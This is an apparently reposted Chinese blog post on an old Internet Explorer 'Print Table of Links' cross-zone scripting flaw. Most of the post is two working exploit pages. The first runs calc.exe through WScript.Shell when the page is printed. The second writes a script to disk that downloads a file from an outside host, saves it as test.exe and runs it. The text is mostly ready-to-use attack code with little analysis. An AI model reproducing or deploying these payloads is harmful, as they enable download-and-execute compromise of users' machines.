# 鬼仔：貌似很早的了。
来源：009
测试成功，会运行计算器
只是利用起来有点 … …
这个漏洞是由于微软IE浏览器启动“Print Table of Links”时引起的跨站攻击（Cross-Zone Scripting ）
如果启用了 “Print Table of Links”，在打印一个网页的时候，能够导致执行任意代码。
1.选择“Print Table of Links”选项
2.把保存以下代码为HTML格式，用IE打开，并打印，会执行calc.exe。
<html> <body> Print me with table of links to execute calc.exe <a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a> <script>window.print();</script> </body> </html>以下代码自动下载http://www.blogjava.net/Files/baicker/calc.rar文件到c:/改名为test.exe，然后执行test.exe
<html> <body> 点击选项，选中打印链表列表，点打印 <a href="http://www.bl.com?zzz=dsasad <script defer> var ForWriting = 2; var strFile = 'c://test2.js'; var objFSO = new ActiveXObject('Scripting.FileSystemObject'); var objStream = objFSO.OpenTextFile(strFile,ForWriting,true,false); objStream.WriteLine('var objArgs = /'http://www.blogjava.net/Files/baicker/calc.rar/';'); objStream.WriteLine('var objargss =/'c:////test.exe/';'); objStream.WriteLine('var sGet=new ActiveXObject(/'ADODB.Stream/');'); objStream.WriteLine('var xGet = false;'); objStream.WriteLine('try {'); objStream.WriteLine('xGet = new XMLHttpRequest();'); objStream.WriteLine('} '); objStream.WriteLine('catch (trymicrosoft) {'); objStream.WriteLine('try {'); objStream.WriteLine(' xGet = new ActiveXObject(/'Msxml2.XMLHTTP/');'); objStream.WriteLine('} '); objStream.WriteLine('catch (othermicrosoft) {'); objStream.WriteLine(' try {'); objStream.WriteLine(' xGet = new ActiveXObject(/'Microsoft.XMLHTTP/');'); objStream.WriteLine(' } '); objStream.WriteLine('catch (failed) {'); objStream.WriteLine(' xGet = false;'); objStream.WriteLine(' }'); objStream.WriteLine('}'); objStream.WriteLine('}'); objStream.WriteLine('xGet.Open (/'GET/',objArgs.toLowerCase(),0);'); objStream.WriteLine('xGet.Send();'); objStream.WriteLine('sGet.Mode=3;'); objStream.WriteLine('sGet.Type=1;'); objStream.WriteLine('sGet.Open();'); objStream.WriteLine('sGet.Write (xGet.ResponseBody);'); objStream.WriteLine('sGet.SaveToFile (objargss.toLowerCase(),2);'); objStream.WriteLine('var x=new ActiveXObject(/'WScript.Shell/');'); objStream.WriteLine('x.Run(objargss);'); objStream.Close(); var objShell = new ActiveXObject('wscript.shell'); objShell.Run(strFile); </script>a.c<u>o</u>m"></a> <script>window.print();</script> </body> </html>- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论